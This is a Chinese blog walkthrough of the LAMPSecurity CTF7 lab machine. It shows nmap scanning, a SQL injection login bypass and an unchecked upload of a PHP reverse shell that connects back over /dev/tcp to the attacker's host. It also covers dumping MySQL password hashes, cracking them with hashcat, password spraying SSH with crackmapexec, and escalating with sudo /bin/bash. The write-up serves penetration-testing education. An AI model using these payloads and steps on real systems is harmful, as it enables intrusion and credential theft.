目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透
第三步:文件上传获取shell
第四步:寻找敏感信息(登录凭据)
第五步:密码喷射登录ssh
第六步:提权
总结与思考
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。打靶过程涉及到关于SQL注入、不安全的文件上传、awk字符串处理、md5哈希批量破解、密码喷射等。完整打靶思路详见:
「红队笔记」靶机精讲:LAMPSecurityCTF7 - 字符串魔法、密码喷射,这才是实战技术。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
LAMPSecurity: CTF7 ~ VulnHub
下载链接见:
https://download.vulnhub.com/lampsecurity/CTF7plusDocs.zip
靶机下载后解压,用vmware打开,设置网络连接为NAT模式,开启靶机即可(界面如下):
这里需要特别注意一下,在第一次启动打开靶机的时候,vmware会跳出一个提示框,让你选择我已复制该虚拟机/我已移动该虚拟机,一定要选择移动,用移动的方式网络环境会完整复现。否则有可能在主机发现的时候扫描不到这个靶机。如果后续发现真的出现了无法主机发现,莫慌,重装一下就行了。
这一步是最常规的思路,使用nmap进行主机发现和端口扫描,过程与前面的打靶都是一样的命令和讨论,详情见可见我的博客:
渗透测试:主机发现与端口扫描
这里不做详细说明,只列举一下此次打靶的命令:
nmap -sn 192.168.200.0/24
nmap --min-rate 10000 -p- 192.168.200.145
nmap -sT -sV -O -p22,80,137,138,139,901,5900,8080,10000 192.168.200.145
nmap -sU --min-rate 10000 -p- 192.168.200.145
nmap --script=vuln -p22,80,137,138,139,901,5900,8080,10000 192.168.200.145
使用命令ip a 可查看kali攻击机的ip是192.168.200.131,所在网段是192.168.200.0/24,主机发现-sn得知靶机ip是192.168.200.145,全端口扫描后发现可能开放的端口包括22,80,137,138,139,901,5900,8080,10000,然后进行了UDP扫描(无开放端口)和漏洞扫描。
全端口扫描结果:
服务版本扫描结果:
漏洞扫描结果暴露了80端口和8080端口的一些漏洞,包括敏感信息、Dos等。
由于80和8080端口都开放,且nmap的漏洞扫描我们也扫出了一些漏洞,于是还是从常规的Web入手,浏览器访问靶机ip:192.168.200.145
看起来像是个培训机构的主页,可以参加培训、阅读等等。在主页上随便点点,看一看顶部的About/Contact/Resources的栏目,没发现太多可利用的信息。点击 /Resources后的几个功能是需要登录(注册)的:
如上图是一个登录注册界面,但貌似这个界面不是后台的登录界面,仅仅是用户可以注册账户,然后去预定服务的常规登录界面。回想到常规的渗透测试思路,我们应该寻找cms的后台登录界面。
简单翻找了一圈80端口的信息,有可能存在漏洞利用的位置,先按下不表。由于8080端口也开放,我们可以再访问一下8080端口试试192.168.200.145:8080
非常nice,8080端口应该就是相当于cms的管理登录界面了,下面就是寻找这个登录界面的密码。尝试了几个弱口令都登录失败,也可以进行一下web目录爆破看看有没有什么敏感信息,或者去互联网上寻找cms的默认登录密码,不过我们这里也没有发现这是什么cms。最后也可以尝试使用SQL注入登录。再登录框的账号和密码都输入单引号'后点击登录,发现报错了:
好家伙,登录框竟然存在SQL注入,那我们使用万能密码:
' or 1=1 #
即可登录成功,只要输入用户名是' or 1=1 #而密码为空或者随便填,都可以成功登录,登录之后的界面如下:
接下来又回到了常规思路,在后台寻找文件上传或代码执行的位置,然后添加我们的payload反弹shell,并触发代码执行,即可拿到初始立足点的shell,那就在这个后台翻找翻找吧。在Users界面发现了许多用户名,同时还有他们的权限,有好几个都是有管理权限的,说不定一会我们就可以使用ssh拿到这些用户的shell。这里可以直接对他们修改账户密码,不过考虑到这里的用户名都是邮箱的形式,应该是前面192.168.200.145/signup页面的一些账户,而非ssh登录的账户和密码。
最终发现在Manage Offerings中的三个子栏目,都可以点击add new,可以写入东西,而点击Reading Room里的add new,存在文件上传的位置。
那么我们可否在这里上传php的payload呢?这个界面的文本输入框是否可以写入并执行代码呢?我们先尝试一下在Description这个文本框填写反弹shell的payload,别忘了先在kali中另起一个终端,开启nc监听1234端口:
回到Add a new Readings的界面,我们在description文本框输入php反弹shell的payload,如下:
& /dev/tcp/192.168.200.131/1234 0>&1'"); ?>
其他随便填,文件上传我们先不上传,点击Add Reading,结果出现了如下的报错:
不过这暴露了这个界面的上传位置,是/var/www/html/assets/,说不定一会会用到。我们可以试着访问一下/assets目录,看看有没有什么收获:
好家伙,这是个目录呀,那岂不是如果我们能吧shell上传到这里,点击对应的路径,就可触发代码执行了。回到刚才的Add a new Readings的界面,这回我们上传一个shell.php,其中的内容就是刚刚的反弹shell的payload:
这样点击Add Reading后,即可在刚刚的assets页面发现我们上传好的shell:
点击shell.php超链接,或直接访问/assets/shell.php,即可触发代码执行,成功执行了我们的payload,回到刚才的nc监听,喜提初始shell:
我们已经拿到了apache这个账户的权限,权限应该是比较低的使用命令sudo -l查看权限:
sudo -l
连sudo的权限都没有,我们看一下passwd这个文件:
cat /etc/passwd
可以看到许多有bash的账户,这些有bash的用户名好像恰巧和刚刚管理后台的Users的用户名是相同的。同时也找到了此时的这个账户apache,没有bash环境,怪不得无法sudo,我们试图用python获取交互性更好的shell:
python -c "import pty;pty.spawn('/bin/bash');"
然后就可以sudo -l查看权限了,不过要输入密码!咱也不知道密码,看来也无法查看权限了。
那么如何提权呢?还是寻找寻找有关密码的文件吧,此时的工作目录正是/assets,我们回到web的常规目录/var/www/看看
web目录下的文件(夹)如下:
我们可能比较关注的就是其中的admin,可能会有管理员相关的东西,最后在admin中的inc中的db.php发现了有效信息:
cat db.php
好家伙,这连接mysql数据库都不用密码的!那我们直接登录mysql,密码为空:
mysql -u root -p
还真登录进来了,那么我们就在数据库里面查找有啥可利用的密码之类的吧。
查看数据库,发现有个website,选择这个,然后查看数据表:
还真有名为users的,看看里面有啥:
这一波可厉害了,真的找到了账号和密码,重新搜一下username和password:
select username,password from users;
这应该就是很关键的信息,我们把这些原始的账号和密码的哈希复制保存下来,起名为CredsRaw:
接下来就是对这些哈希值的破解,估计是md5(可以用hash-identifier识别),我们可以用在线软件,也可以使用一些脚本批量破解。 前面几篇博客都是使用在线网站破解,这里我们介绍个新技巧,使用hashcat工具批量破解,不过在破解之前,我们需要将CredsRaw进行处理,把所有的哈希值独占一行,存为一个文件passwordRaw。
CredsRaw文件以空格为分隔符,可以分为五个部分,即竖线|,用户名邮箱,竖线|,密码的md5,竖线|。因此如果想取出密码的md5,可使用如下命令:
cat CredsRaw | awk -F' ' {'print $4'}
然后其中内容保存为passwordRaw.lst,可以直接复制到vim,也可以输出重定向:
cat CredsRaw | awk -F' ' {'print $4'} > passwordRaw.lst
然后使用工具hashcat进行破解,命令如下:
hashcat -a 0 -m 0 passwordRaw.lst /usr/share/wordlists/rockyou.txt
等待片刻,即可看到上图的破解结果:然后依旧是复制,保存为文件passwordCrack
然后用冒号作分隔符,获得完整的密码:
cat passwordCrack | awk -F':' {'print $2'} > password.lst
同理,我们再把账号也存成一个文件username.lst:
cat CredsRaw | awk -F' ' {'print $2'} | awk -F'@' {'print $1'} > username.lst
大功告成,接下来就可以尝试使用这些账号和密码进行ssh登录了:
知道账号和密码之后,其实我们可以直接尝试ssh登录,但有这么多账号,如果用户名和密码不对应的话手动尝试很费劲(其实这里是对应的,完全可以直接登录,这里只是为了介绍学到的知识点),我们可以试试使用密码喷射的脚本crackmapexec,命令如下:其中--continue-on-success参数是指发现首个匹配的用户名和密码之后继续进行碰撞。
crackmapexec ssh 192.168.200.145 -u username.lst -p password.lst --continue-on-success
很快我们就能确认正确的账号是带有+的,还可以专门用grep过滤一下:
crackmapexec ssh 192.168.200.145 -u username.lst -p password.lst --continue-on-success | grep '+'
不用等太长时间,找到正确对应的用户名和密码即可登录ssh,其中一条记录为:
SSH 192.168.200.145 22 192.168.200.145 [+] brian:my2cents
那就用用户名brian和密码my2cent登录ssh试试:
ssh [email protected]
报错了,没有匹配的host key type 那么参考我前几天写的博客LampSecurity:CTF4打靶思路详解中的第四步SSH登录的相关参数,重新构造命令:
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]
输入密码my2cents即可登录成功:
运行命令sudo -l之后发现已经有all权限了,直接一键提权好了:
sudo /bin/bash
至此打靶完成。
这个靶机也不复杂,思路也比较套路化,如果只是以打靶为目的,那么当拿到数据库中的username和password之后,直接在线网站破解md5,然后用第一个账号brian登录ssh即可,用不着awk处理这些文件,也无需使用hashcat脚本,本文还是将这些信息保留,当需要对很多个md5进行破解时,hashcat才是更为需要的。当需要尝试多个不对应的用户名和密码登录时,使用密码喷射脚本crackmapexec就更为必要。
还是总结一下打靶的过程:
1.主机发现和端口扫描:常规讨论,靶机开放了80和8080端口,都有很多漏洞。
2.web渗透,发现8080为登录后台,SQL注入万能密码登录成功。
3.文件上传:寻找文件上传/代码执行的位置,上传了我们的shell.php,并找到了代码执行的路径,成功触发代码执行反弹shell。
4.寻找敏感信息,发现/var/www/admin/inc/db.php中暴露了mysql没有密码,登录mysql后找到了存放ssh账号的username和password。
5.破解password的md5哈希,登录ssh。
6.权限发现已经是all,一键提权。
同时这个靶机给我一种遍地是漏洞的感觉,随便一个SQL注入的万能密码就登录进后台了,然后如果description中写入php代码就会直接暴露页面的上传位置,文件上传并不做任何校验和过滤,上传之后也可以成功代码执行,配置文件中还真会暴露mysql没有密码,而mysql中又恰巧存了ssh登录的用户密码,登录进去之后,权限就直接是ALL了,提权都省了。感觉实在是有点太顺利了,实际渗透测试应该遇不到这么顺利的情况。不过这台靶机也年代久远,可能十年前人们的网络安全意识是普遍不足的,才会有这么多漏洞。
这篇打靶就完成了,以后会继续坚持打靶,学习网安知识并分享。希望读者多多点赞支持!如有问题欢迎评论区讨论,我一定知无不言。